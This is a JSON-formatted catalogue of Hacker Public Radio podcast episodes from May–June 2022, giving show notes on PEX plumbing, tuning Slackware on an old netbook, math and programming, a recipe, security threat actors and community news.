                                                            \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Cars, automobiles, Austin Maestro","version":0,"downloads":0,"valid":1}, {"id":3602,"date":"2022-05-24","title":"Hacker Stories April 20 22","duration":1561,"summary":"origin story and trouble in school","notes":"

                                                            I guess I lost the document from Lanier Tech :( it was hilarious..

                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Hacker Stories","version":0,"downloads":0,"valid":1}, {"id":3603,"date":"2022-05-25","title":"Who the heck is Evil Steve? Part 1","duration":852,"summary":"Security as a people problem: Who is actually attacking us? Meet Evil Steve.\r","notes":"

                                                            admin admin with Lurking Prion

                                                            \n

                                                            Episode 3: Who the heck is Evil Steve?

                                                            \n

                                                            Picking up from Episode 2: Good Idea Fairy Hunting we continue exploring the concept of security as a people problem.
                                                            \nThis week we stop to take a moment to focus on the Who rather than the What is attacking us. In CyberSecurity, we tend to get caught up in things that happen to us, that we forget that it is actually a person attacking us. Learning more about who wants the information we have will tell us the ways they go about stealing it. This gives us information to better protect our assets and begin active threat hunting. The show is about 15 minutes long.

                                                            \n\n\n","hostid":405,"series":74,"explicit":1,"license":"CC-BY-SA","tags":"adminadmin,cyber security,security,threats,threat actors,Evil Steve","version":0,"downloads":0,"valid":1}, {"id":3604,"date":"2022-05-26","title":"Everything You Always Wanted to Know About PEX Part 01- Let's Talk About PEX - Introduction ","duration":782,"summary":"Introduction to PEX","notes":"

                                                            Everything You Always Wanted to Know About PEX

                                                            \n

                                                            Part 01- Let's Talk About PEX - Introduction

                                                            \n

                                                            Why? My story

                                                            \n
                                                              \n
                                                            1. Why am I posting about plumbing on HPR? \"Of interest to hackers\"\n
                                                                \n
                                                              1. I find it interesting
                                                              2. \n
                                                              3. We like to learn new things
                                                              4. \n
                                                              5. We like to understand\n
                                                                  \n
                                                                1. How things work
                                                                2. \n
                                                                3. How things break
                                                                4. \n
                                                                5. How to use non-standard approached to solve problems
                                                                6. \n
                                                              6. \n
                                                              7. Others can learn from my experience, troubleshooting process, etc...
                                                              8. \n
                                                              9. I had fun creating the episode titles.
                                                              10. \n
                                                            2. \n
                                                            3. Pinhole leaks in copper pipe\n
                                                                \n
                                                              1. Causes – Note plumbing is around 40 years old and original to house
                                                              2. \n
                                                              3. Poor quality copper Shoddy installation
                                                              4. \n
                                                              5. Failure to de-bur pipe before soldering
                                                              6. \n
                                                              7. Not properly hung from joists\n
                                                                  \n
                                                                1. Pipe on pipe
                                                                2. \n
                                                                3. Pipe on steel wire
                                                                4. \n
                                                              8. \n
                                                              9. Bad soldering technique\n
                                                                  \n
                                                                1. Lumpy solder
                                                                2. \n
                                                                3. Flux residue
                                                                4. \n
                                                                5. Excessive flux
                                                                6. \n
                                                              10. \n
                                                              11. Hard water\n
                                                                  \n
                                                                1. Only some neighbors experiencing the same issue, and their houses were constructed by the same builder.
                                                                2. \n
                                                              12. \n
                                                              13. Learn more about copper pipe corrosion\n
                                                                  \n
                                                                1. How to Stop Copper Pipe Corrosion - This Old House YouTube Channel
                                                                2. \n
                                                                3. https://www.youtube.com/watch?v=nD5lMITzx_Y
                                                                4. \n
                                                              14. \n
                                                              15. High Water Pressure\n
                                                                  \n
                                                                1. Normal = 60-80 PSI
                                                                2. \n
                                                                3. Tested at 63 PSI = GOOD!!
                                                                4. \n
                                                              16. \n
                                                              17. Damage
                                                              18. \n
                                                              19. Water leaks caused damage to drywall in parts of my house and to items stored in my garage.
                                                              20. \n
                                                              21. Leaks in some areas can sometimes go unidentified for long enough to do extensive damage and even lead to dangerous mold growth.
                                                              22. \n
                                                            4. \n
                                                            5. Possible solutions\n
                                                                \n
                                                              1. Short term
                                                              2. \n
                                                              3. Patch\n
                                                                  \n
                                                                1. Epoxy kits
                                                                2. \n
                                                                3. Can be inconsistent
                                                                4. \n
                                                                5. May not bond to corroded pipe
                                                                6. \n
                                                                7. Some require turning off water and dry pipes
                                                                8. \n
                                                                9. Water activated tape
                                                                10. \n
                                                                11. Access around pipe
                                                                12. \n
                                                                13. May not bond to corroded pipe
                                                                14. \n
                                                                15. Some require turning off water and dry pipes
                                                                16. \n
                                                                17. Solder on patch
                                                                18. \n
                                                                19. Expensive
                                                                20. \n
                                                                21. Requires clean dry pipe exterior
                                                                22. \n
                                                                23. Requires draining the pipe
                                                                24. \n
                                                                25. Might as well cut out the leaking section and replace
                                                                26. \n
                                                                27. Repair Clamps
                                                                28. \n
                                                                29. Fast
                                                                30. \n
                                                                31. Strong
                                                                32. \n
                                                                33. Can be used while pipe is under pressure
                                                                34. \n
                                                                35. Minimal clearance needed
                                                                36. \n
                                                                37. Examples\n
                                                                    \n
                                                                  1. https://www.grainger.com/category/plumbing/pipe-tubing-and-fittings/pipe-repair-clamps-and-couplings/pipe-repair-clamps
                                                                  2. \n
                                                                  3. https://www.homedepot.com/b/Plumbing-Plumbing-Accessories-Repair-Clamps/Copper/N-5yc1vZbqomZ1z0vifv
                                                                  4. \n
                                                                  5. https://www.homedepot.com/b/Plumbing-Plumbing-Accessories-Repair-Clamps/Multi-Purpose/N-5yc1vZbqomZ1z0vhwh
                                                                  6. \n
                                                                38. \n
                                                              4. \n
                                                              5. Long Term
                                                              6. \n
                                                              7. Repair copper\n
                                                                  \n
                                                                1. Cut out damaged section and replace using SharkBite fittings
                                                                2. \n
                                                                3. Expensive
                                                                4. \n
                                                                5. Cut out damaged section and solder in new section of pipe
                                                                6. \n
                                                                7. Expensive
                                                                8. \n
                                                                9. Time consuming
                                                                10. \n
                                                                11. Many areas of corrosion visible
                                                                12. \n
                                                                13. Whack-a-mole - Where & when will next leak occur?
                                                                14. \n
                                                              8. \n
                                                              9. New copper\n
                                                                  \n
                                                                1. Expensive
                                                                2. \n
                                                                3. Difficult
                                                                4. \n
                                                                5. Time consuming
                                                                6. \n
                                                              10. \n
                                                              11. PVC\n
                                                                  \n
                                                                1. Still difficult – rigidity
                                                                2. \n
                                                              12. \n
                                                              13. PEX\n
                                                                  \n
                                                                1. Comparatively inexpensive
                                                                2. \n
                                                                3. Flexible and easy to install
                                                                4. \n
                                                                5. Can use existing copper pipe as support structure
                                                                6. \n
                                                                7. Can completely redesign with a manifold
                                                                8. \n
                                                              14. \n
                                                            6. \n
                                                            \n","hostid":394,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"diy, plumbing,PEX","version":0,"downloads":0,"valid":1}, {"id":3605,"date":"2022-05-27","title":"Aspire-ing to use 13 year hardware","duration":502,"summary":"Part 2 of using Slackware on the old netbook","notes":"

                                                            Aspire-ing to use 13 year hardware

                                                            \n

                                                            Dual boot

                                                            \n
                                                            image = /boot/vmlinuz\n  root = /dev/sda3\n  label = Slackware15.0\n  read-only\nimage = /boot/vmlinuz\n  root = /dev/sda2\n  label = Slackware14.2\n  read-only
                                                            \n

                                                            First change

                                                            \n
                                                            # LILO configuration file\n# Append any additional kernel parameters:\nappend="acpi=ht"
                                                            \n

                                                            Dropped CPU usage to 50%

                                                            \n

                                                            Second change

                                                            \n
                                                            grep . -r /sys/firmware/acpi/interrupts/\n\n/sys/firmware/acpi/interrupts/gpe1D:322734808     STS enabled      unmasked\n\necho "mask" > /sys/firmware/acpi/interrupts/gpeXX
                                                            \n

                                                            Interrupts

                                                            \n

                                                            Interrupts
                                                            \n\"Interrupts\"

                                                            \n

                                                            My case was

                                                            \n
                                                            echo "mask" > /sys/firmware/acpi/interrupts/gpe1D
                                                            \n

                                                            Dropped usage to 0-5%

                                                            \n

                                                            Then added the mask to crontab -e under root

                                                            \n

                                                            Add 'acpi_mask_gpe=0x1D' or whatever interrupt corresponds to the overactive one, and remember to run the lilo command afterward to make the kernel option active.

                                                            \n

                                                            Htop options for CPU usage
                                                            \n\"Htop
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Htop display
                                                            \n\"Htop

                                                            \n

                                                            Upgrades

                                                            \n

                                                            Fan from AliExpress

                                                            \n

                                                            https://www.aliexpress.com/item/32861732299.html

                                                            \n

                                                            Replacement fan
                                                            \n\"Replacement
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            2GB DDR2 667MHz SODIMM PC2-5300

                                                            \n

                                                            https://www.amazon.com/gp/product/B00C53A37K

                                                            \n

                                                            2Gb ram upgrade
                                                            \n\"2Gb
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Resources

                                                            \n

                                                            https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/kernel_administration_guide/listing_of_kernel_parameters_and_values

                                                            \n
                                                            acpi=ht
                                                            \n

                                                            https://www.kernel.org/doc/ols/2005/ols2005v1-pages-59-76.pdf

                                                            \n

                                                            Use ACPI boot table parsing, but do not enable ACPI interpreter This disables any ACPI functionality that is not required for Hyper Threading.

                                                            \n

                                                            ACPI (Advanced Configuration and Power Interface) is an open industry specification establishing industry-standard interfaces for OS-directed configuration and power management on laptops, desktops, and servers.

                                                            \n

                                                            HPR3511 Podman like Vagrant

                                                            \n

                                                            https://archive.org/details/hpr3511

                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Slackware, netbook, interrupts, htop, upgrades","version":0,"downloads":0,"valid":1}, {"id":3606,"date":"2022-05-30","title":"Infinity is just a big number and other proofs","duration":561,"summary":"Ken proves Mathematically that programming is not easier with maths.","notes":"

                                                            Response to hpr3568

                                                            \n
                                                              Title         PopKorn Episode 2: Programming, Mathematics, and Asymmetric Literacy\n  Artist        BlacKernel\n  Album         Hacker Public Radio\n  Comment       https://hackerpublicradio.org Clean; in This episOde, blackeRnel Tries to help yoU undeRstand Enough about math and programming The license is CC-BY-SA\n  Date          2022\n  Track Number  3568\n  Genre         Podcast\n
                                                            \n

                                                            https://en.wikipedia.org/wiki/Mathematical_joke
                                                            \nMathematicians are also shown as averse to making hasty generalizations from a small amount of data, even if some form of generalization seems plausible:

                                                            \n
                                                            An astronomer, a physicist and a mathematician are on a train in Scotland.\nThe astronomer looks out of the window, sees a black sheep standing in\na field, and remarks, "How odd. All the sheep in Scotland are black!" "No,\nno, no!" says the physicist. "Only some Scottish sheep are black." The\nmathematician rolls his eyes at his companions' muddled thinking and says,\n"In Scotland, there is at least one sheep, at least one side of which\nappears to be black from here some of the time."[Stewart, Ian (1995).\nConcepts of Modern Mathematics. ISBN 9780486134956.]\n
                                                            \n

                                                            https://en.wikipedia.org/wiki/Mathematical_proof

                                                            \n
                                                            A mathematical proof is an inferential argument for a mathematical\nstatement, showing that the stated assumptions logically guarantee the\nconclusion.\n
                                                            \n

                                                            Stated assumptions

                                                            \n\n

                                                            Simplifying the statement

                                                            \n
                                                              Knowing math makes programming way easier.\n
                                                            \n

                                                            Rearrange and problem

                                                            \n
                                                            There are no humans that ever existed or will ever exist that will not\nfind programming easier having a knowledge of maths.\n
                                                            \n

                                                            I exist. I do not find programming easier despite my knowledge of maths.

                                                            \n

                                                            Q.E.D.

                                                            \n

                                                            other points

                                                            \n

                                                            \"Ability to think logically - which is what math is.\"

                                                            \n

                                                            This assumes that math is the only field where the ability to think logically exists. Math is a subset of logical thinking and not the other way around. I can think of hundreds of occupations that require logical thinking that do not require any maths. It would be difficult to argue this point as it could be argued, as most people are exposed to counting no matter what level of literacy they may have access to. So let us refer to studies with crows that shows that they do think logically - despite any math knowledge.

                                                            \n\n

                                                            Programming is ...

                                                            \n

                                                            The wikipeda entry has 19 other definitions for programming but OK.
                                                            \nhttps://en.wikipedia.org/wiki/Program

                                                            \n

                                                            Asymmetric literacy

                                                            \n

                                                            \"Is an example where you can read or write in a specific language but not necessarily doing both.\"

                                                            \n

                                                            Chinese written language can be understood by multiple spoken languages. However the nuance is greater if the writer and reader shared the same language/understanding.

                                                            \n
                                                            "Because math and computer are the same thing under the hood if you\nunderstand it then you understand the programming a lot better. But if you\nuse some other analogy .. you'll write programs that are perfectly fine\nand perfectly work, but it won't be as exact or as nuanced as it could be\nif you also knew math. That's what I was saying."\n
                                                            \n
                                                              \n
                                                            • Computer CPU has a bunch of instruction sets in it. Tells the computer what transistor operation to perform

                                                            • \n
                                                            • Logical extension of the instruction set

                                                            • \n
                                                            • There is nothing in programming that is not covered by the instruction set.

                                                            • \n
                                                            • Same way in math depends on axioms

                                                            • \n
                                                            • \"They are the same thing, .. the exact same process\"

                                                              \n

                                                              \"Because they are the same thing under the hood, if you understand how to do math, then you'll understand how to make your programs better, because you can write your programs in a way that reflect the underlying structure of the computer which will make your programs run more efficiently as giving you insight into how errors may be occurring etc etc etc.\"

                                                            • \n
                                                            \n

                                                            That may have been valid in the pioneering days of computers if we just have one chip with one instruction set. Nowadays programs run on systems that run in Java Virtual Machines, which run on docker containers, running on Virtual Machines, spread across multiple clusters, finally hitting different processors each with their own different instruction sets, then down to different cores.

                                                            \n

                                                            Turtles all the way down.

                                                            \n

                                                            No they are not. Math axioms do not change from chip manufacturer to chip manufacturer.

                                                            \n

                                                            https://en.wikipedia.org/wiki/Comparison_of_instruction_set_architectures

                                                            \n

                                                            Axioms

                                                            \n

                                                            https://en.wikipedia.org/wiki/List_of_axioms

                                                            \n
                                                              \n
                                                            • Axiom of extensionality

                                                            • \n
                                                            • Axiom of empty set

                                                            • \n
                                                            • Axiom of pairing

                                                            • \n
                                                            • Axiom of union

                                                            • \n
                                                            • Axiom of infinity

                                                            • \n
                                                            • Axiom schema of replacement

                                                            • \n
                                                            • Axiom of power set

                                                            • \n
                                                            • Axiom of regularity

                                                            • \n
                                                            • Axiom schema of specification

                                                              \n
                                                                "You take Logical Deductions from those axioms, that's what math is.\n  Math is a series of logical deductions or proofs utilizing previous\n  proofs or axioms. That's all math is. Can be in different forms."\n
                                                            • \n
                                                            \n

                                                            https://en.wikipedia.org/wiki/Euclidean_geometry#Axioms

                                                            \n

                                                            Axiom of infinity

                                                            \n

                                                            Flawed assumes infinity exists. I reject this as the proof is take a big number +1 keep adding to it. What you actually get is a even bigger integer and not infinity.

                                                            \n

                                                            https://en.wikipedia.org/wiki/Coastline_paradox

                                                            \n

                                                            Infinity is our inability to think big, and math reflecting that shows a flaw in maths.

                                                            \n\n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"math,programming,infinity","version":0,"downloads":0,"valid":1}, {"id":3607,"date":"2022-05-31","title":"The Best Eggs in the World","duration":799,"summary":"Emergency Show: The Best Eggs in the World","notes":"

                                                            This is an Emergency show

                                                            \n

                                                            \nThis show is from the emergency show pool.
                                                            \nYou are hearing this because there was a free slot that was not filled.
                                                            \nHacker Public Radio is a community effort, that will only continue if people like you submit shows.
                                                            \nIf you have not submitted a show this year, then please record an introduction about yourself, and how you got into tech.
                                                            \nThen post it to, Hacker Public Radio dot org forward slash, upload.\n

                                                            \n

                                                            The Best Eggs in the World

                                                            \n

                                                            \nToday's show is brought to you by pokey\n

                                                            \n
                                                              \n
                                                            • 1/6 large onion
                                                            • \n
                                                            • 3-5 medium mushrooms
                                                            • \n
                                                            • 2 eggs
                                                            • \n
                                                            • 1-2 slices of cheese
                                                            • \n
                                                            • 2 pieces of toast
                                                            • \n
                                                            • Garlic Powder, Salt, Pepper, butter to taste.
                                                            • \n
                                                            \n\n

                                                            \nIf you have comments, please leave them in the comments section for the show here at https://hackerpublicradio.org\nIf you had submitted a real episode of HPR, you wouldn't have found this in your feed today. :-P\n

                                                            \n","hostid":128,"series":93,"explicit":0,"license":"CC-BY-SA","tags":"Emergency Show,Eggs,Cooking","version":0,"downloads":0,"valid":1}, {"id":3608,"date":"2022-06-01","title":"Battling with English - part 5","duration":927,"summary":"Confused homophones; misunderstanding words from other countries; Eggcorns","notes":"
                                                            \n

                                                            Overview

                                                            \n

                                                            This time I have three main subjects to discuss, all of them dealing with misunderstandings of words:

                                                            \n
                                                              \n
                                                            • Mistakes made with homophones, one group of examples\n
                                                                \n
                                                              • The definition gets a little technical, see the Wikipedia description.
                                                              • \n
                                                            • \n
                                                            • Misunderstandings of words from other languages\n
                                                                \n
                                                              • Pundit
                                                              • \n
                                                            • \n
                                                            • Looking at Eggcorns (a name chosen from a misspelling of acorn)\n
                                                                \n
                                                              • Wikipedia: an alteration of a phrase through the mishearing or reinterpretation of one or more of its elements
                                                              • \n
                                                            • \n
                                                            \n

                                                            Long notes

                                                            \n

                                                            Follow this link to read the detailed notes associated with this episode.

                                                            \n

                                                            Links

                                                            \n\n\n\n\n
                                                            \n","hostid":225,"series":120,"explicit":1,"license":"CC-BY-SA","tags":"grammar,spelling,homonym,Eggcorn","version":0,"downloads":0,"valid":1}, {"id":3609,"date":"2022-06-02","title":"Linux Inlaws S01E57: Operating System Level Virtualisation and Martin's Faith","duration":3238,"summary":"An in-depth discussion about Jails, Containers, religion and others sorts of confinement","notes":"

                                                            In this episode our two ageing heroes take a closer at operating system\n(OS) level virtualisation. The main different legacy virtualisation\ntechnologies like virtual machines (VMs) and this new-fangled approach is\nthat the OS kernel remains the same across virtualisation domains, thus giving\nthe hippsters and other followers of fashion a cheaper and potentially much\nfaster solution than virtualising the kernel and surrounding hawrdware and all\nthe rest of it. Plus more details on Martin's real faith. Don't miss out on\nthis episode if you're interested in any of these...

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Celts, Celtic languages, Containers, Jails, Zones, Docker, CRI-O, From Dusk till Dawn, religion","version":0,"downloads":0,"valid":1}, {"id":3610,"date":"2022-06-03","title":"DOS Wildcards; File Attributes","duration":907,"summary":"More on DOS. This time it is DOS Wildcards and File Attributes.","notes":"

                                                            For this lesson we are going to fill in a couple of concepts that we will need before we go further with directories. Wildcards can let you look for files and directories without specifying the complete name, and look for items with similar names or file extensions. And file attributes are an important part of file management.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":117,"explicit":0,"license":"CC-BY-SA","tags":"DOS, early PC computing, wildcards, attributes","version":0,"downloads":0,"valid":1}, {"id":3611,"date":"2022-06-06","title":"HPR Community News for May 2022","duration":3341,"summary":"HPR Volunteers talk about shows released and comments posted in May 2022","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n Lurking Prion.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3586Mon2022-05-02HPR Community News for April 2022HPR Volunteers
                                                            3587Tue2022-05-0320220406_UDMoperat0r
                                                            3588Wed2022-05-04Linux Inlaws S01E55: Get yer boots on for a fresh look at init systemsmonochromec
                                                            3589Thu2022-05-05Sample of my microphonesArcher72
                                                            3590Fri2022-05-06Directory CommandsAhuka
                                                            3591Mon2022-05-09Small FlashlightsJWP
                                                            3592Tue2022-05-10A quick look at the Surface pro Xknightwise
                                                            3593Wed2022-05-11Home office setup mouse shoulder and Auto Hot Key Scriptsoperat0r
                                                            3594Thu2022-05-12Peely-wally in EdinburghDave Morriss
                                                            3595Fri2022-05-13I am sure I changed my password last...???Lurking Prion
                                                            3596Mon2022-05-16Extracting text, tables and images from docx files using PythonMr. Young
                                                            3597Tue2022-05-17Good Idea Fairy HuntingLurking Prion
                                                            3598Wed2022-05-18Slackware 15 - 32 bit Operating System from day one.Zen_Floater2
                                                            3599Thu2022-05-19Linux Inlaws S01E56: Slackware - A User's Perspectivemonochromec
                                                            3600Fri2022-05-20Digitizing PhotosAhuka
                                                            3601Mon2022-05-23Re: The Worst Car I Ever HadDave Morriss
                                                            3602Tue2022-05-24Hacker Stories April 20 22operat0r
                                                            3603Wed2022-05-25Who the heck is Evil Steve? Part 1\nLurking Prion
                                                            3604Thu2022-05-26Everything You Always Wanted to Know About PEX Part 01- Let's Talk About PEX - Introduction Trey
                                                            3605Fri2022-05-27Aspire-ing to use 13 year hardwareArcher72
                                                            3606Mon2022-05-30Infinity is just a big number and other proofsKen Fallon
                                                            3607Tue2022-05-31The Best Eggs in the Worldpokey
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 24 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 5 comments on\n2 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3574\n(2022-04-14) \"Local Talking Newspapers\"\nby Lee.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 5:\nelmussol on 2022-05-09:\n\"correction\"
                                                              • \n
                                                              • \nComment 6:\nDave Morriss on 2022-05-09:\n\"Clitheroe, LANCASHIRE!\"

                                                              \n
                                                            • hpr3585\n(2022-04-29) \"Freedom of speech in open source, Part 2.\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nKevin O'Brien on 2022-05-04:\n\"Open source vs. free software\"
                                                              • \n
                                                              • \nComment 2:\nSome Guy On The Internet on 2022-05-05:\n\"The freedom to Advertise.\"
                                                              • \n
                                                              • \nComment 3:\nKevin O'Brien on 2022-05-05:\n\"Free Software\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 19 comments on 10 of this month's shows:

                                                            \n
                                                            • hpr3586\n(2022-05-02) \"HPR Community News for April 2022\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian-in-ohio on 2022-05-19:\n\"jinx\"

                                                              \n
                                                            • hpr3588\n(2022-05-04) \"Linux Inlaws S01E55: Get yer boots on for a fresh look at init systems\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ncybergrue on 2022-05-04:\n\"Unix Philosophy\"
                                                              • Comment 2:\nClinton Roy on 2022-05-05:\n\"Debian systemd\"
                                                              • Comment 3:\nbrian-in-ohio on 2022-05-19:\n\"out of your depth\"

                                                              \n
                                                            • hpr3592\n(2022-05-10) \"A quick look at the Surface pro X\"\nby knightwise.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nRobert on 2022-04-30:\n\"Fine show until ...\"

                                                              \n
                                                            • hpr3594\n(2022-05-12) \"Peely-wally in Edinburgh\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian-in-ohio on 2022-05-19:\n\"great show\"
                                                              • Comment 2:\nBeeza on 2022-05-20:\n\"Pascal\"
                                                              • Comment 3:\nDave on 2022-05-20:\n\"Thanks Brian\"
                                                              • Comment 4:\nDave Morriss on 2022-05-20:\n\"Regarding Pascal\"

                                                              \n
                                                            • hpr3597\n(2022-05-17) \"Good Idea Fairy Hunting\"\nby Lurking Prion.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2022-05-18:\n\"Great show\"
                                                              • Comment 2:\nLurking Prion on 2022-05-19:\n\"Thank you!\"

                                                              \n
                                                            • hpr3598\n(2022-05-18) \"Slackware 15 - 32 bit Operating System from day one.\"\nby Zen_Floater2.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbittin on 2022-05-18:\n\"Audacious Winamp Skins\"
                                                              • Comment 2:\nlinuxdaddy on 2022-05-18:\n\"32-bit linux\"
                                                              • Comment 3:\nbrian-in-ohio on 2022-05-19:\n\"great show\"
                                                              • Comment 4:\nWindigo on 2022-05-21:\n\"Intrigued about slackware\"

                                                              \n
                                                            • hpr3599\n(2022-05-19) \"Linux Inlaws S01E56: Slackware - A User's Perspective\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian-in-ohio on 2022-05-19:\n\"what????\"

                                                              \n
                                                            • hpr3602\n(2022-05-24) \"Hacker Stories April 20 22\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWindigo on 2022-05-24:\n\"The best kind of correct\"

                                                              \n
                                                            • hpr3604\n(2022-05-26) \"Everything You Always Wanted to Know About PEX Part 01- Let's Talk About PEX - Introduction \"\nby Trey.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nLurking Prion on 2022-05-26:\n\"Made my heart happy!\"

                                                              \n
                                                            • hpr3605\n(2022-05-27) \"Aspire-ing to use 13 year hardware\"\nby Archer72.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2022-05-27:\n\"Great show\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-May/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Older HPR shows on archive.org, phase 2

                                                            \n

                                                            Now that all shows from number 1 to the latest have been uploaded to the Internet Archive there are other tasks to perform. We are reprocessing and re-uploading shows in the range 871 to 2429 as explained in the Community News show notes released in May 2022. We are keeping a running total here to show progress:

                                                            \n
                                                              \n
                                                            • Re-uploads done so far: 271
                                                            • \n
                                                            • Shows remaining to be done: 1288
                                                            • \n
                                                            • Shows uploaded by last Community News recording: 131
                                                            • \n
                                                            • Shows added since last recording: 140
                                                            • \n
                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3612,"date":"2022-06-07","title":"Who is Evil Steve? Part 2","duration":959,"summary":"We take a closer look at the types of Evil Steve's attacking us","notes":"

                                                            admin admin with Lurking Prion

                                                            \n

                                                            Episode 4: Who is Evil Steve? Part 2

                                                            \n

                                                            Picking up from Episode 3: Picking up from the last episode, we delve a bit more into the types of threat actors (people) that are attacking us. We explore the run of the mill data theft hacker to the more professional Advanced Persistent Threats (APTs). The show is about 16 minutes long.

                                                            \n\n\n","hostid":405,"series":74,"explicit":1,"license":"CC-BY-SA","tags":"adminadmin,cybersecurity,security,threats,threat actors,Evil Steve","version":0,"downloads":0,"valid":1}, {"id":3613,"date":"2022-06-08","title":"Man buys cheap Adirondack chair","duration":453,"summary":"An anecdote about buying a cheap lawn chair and trying to get a part replaced.","notes":"

                                                            Part C (left front leg), one 30cm piece of unfinished fir, with a sort of fan-shaped piece attached with 2 screws, is duly replaced. The customer has been served. The prize is a wobbly chair and, in a few months time, some firewood. What we learned? I'll build my own chair next time.

                                                            \n","hostid":399,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"\"late capitalism\"","version":0,"downloads":0,"valid":1}, {"id":3614,"date":"2022-06-09","title":"Everything You Always Wanted to Know About PEX Part 02- The Joy of PEX - What is it and how is it us","duration":838,"summary":"Information about PEX and how it is used","notes":"

                                                            Everything You Always Wanted to Know About PEX

                                                            \n

                                                            Part 02- The Joy of PEX - What is it and how is it used?

                                                            \n
                                                              \n
                                                            1. What is PEX?\n
                                                                \n
                                                              1. According to Wikipedia, Cross-linked polyethylene tubing is commonly abbreviated PEX, XPE or XLPE -https://en.wikipedia.org/wiki/Cross-linked_polyethylene
                                                              2. \n
                                                              3. This tubing is made of crosslinked polyethelene chains
                                                              4. \n
                                                              5. Type A, Type B, & Type C
                                                              6. \n
                                                              7. These differ based on the process used to make them and the resulting properties of the resulting tubing
                                                              8. \n
                                                              9. PEX is used for a variety of products
                                                              10. \n
                                                              11. Insulation on high voltage high tension electrical cables
                                                              12. \n
                                                              13. Domestic water pipes
                                                              14. \n
                                                              15. Irrigation and hydroponic systems
                                                              16. \n
                                                              17. Natural gas and oil pipes
                                                              18. \n
                                                              19. Chemical handling and storage systems
                                                              20. \n
                                                            2. \n
                                                            3. Domestic plumbing\n
                                                                \n
                                                              1. Advantages
                                                              2. \n
                                                              3. Flexible – easy to install and fish through walls and crawl spaces
                                                              4. \n
                                                              5. It will stretch a little – Less likely to rupture if water contained in PEX freezes
                                                              6. \n
                                                              7. Does not rust or corrode
                                                              8. \n
                                                              9. Less expensive than copper
                                                              10. \n
                                                              11. Multiple colors for easy identification
                                                              12. \n
                                                              13. Easy to cut
                                                              14. \n
                                                              15. Connections are easy\n
                                                                  \n
                                                                1. Type A – Expansion PEX
                                                                2. \n
                                                                3. Process\n
                                                                    \n
                                                                  1. A roughly 1/2\" - 3/4\"sleeve of slightly larger PEX expansion sleeve is slipped over the end of the PEX-A tubing
                                                                  2. \n
                                                                  3. A special tool is inserted into the end of the tubing which stretches it outward a predefined amount.
                                                                  4. \n
                                                                  5. The tubing is slipped over the end of the desired PEX-A connector and allowed to shrink back to normal size, creating a seal
                                                                  6. \n
                                                                  7. Video: https://www.youtube.com/watch?v=Xot95W8vni0
                                                                  8. \n
                                                                4. \n
                                                                5. Advantages\n
                                                                    \n
                                                                  1. Fast and easy to install
                                                                  2. \n
                                                                  3. Can install in tight places, since tool does not need to be at the connector
                                                                  4. \n
                                                                  5. More resistant to damage from kinks if bent over too tight a radius
                                                                  6. \n
                                                                  7. More resistant to damage from freezing
                                                                  8. \n
                                                                6. \n
                                                                7. Disadvantages\n
                                                                    \n
                                                                  1. The tool is expensive (~$300 - $600 USD)
                                                                  2. \n
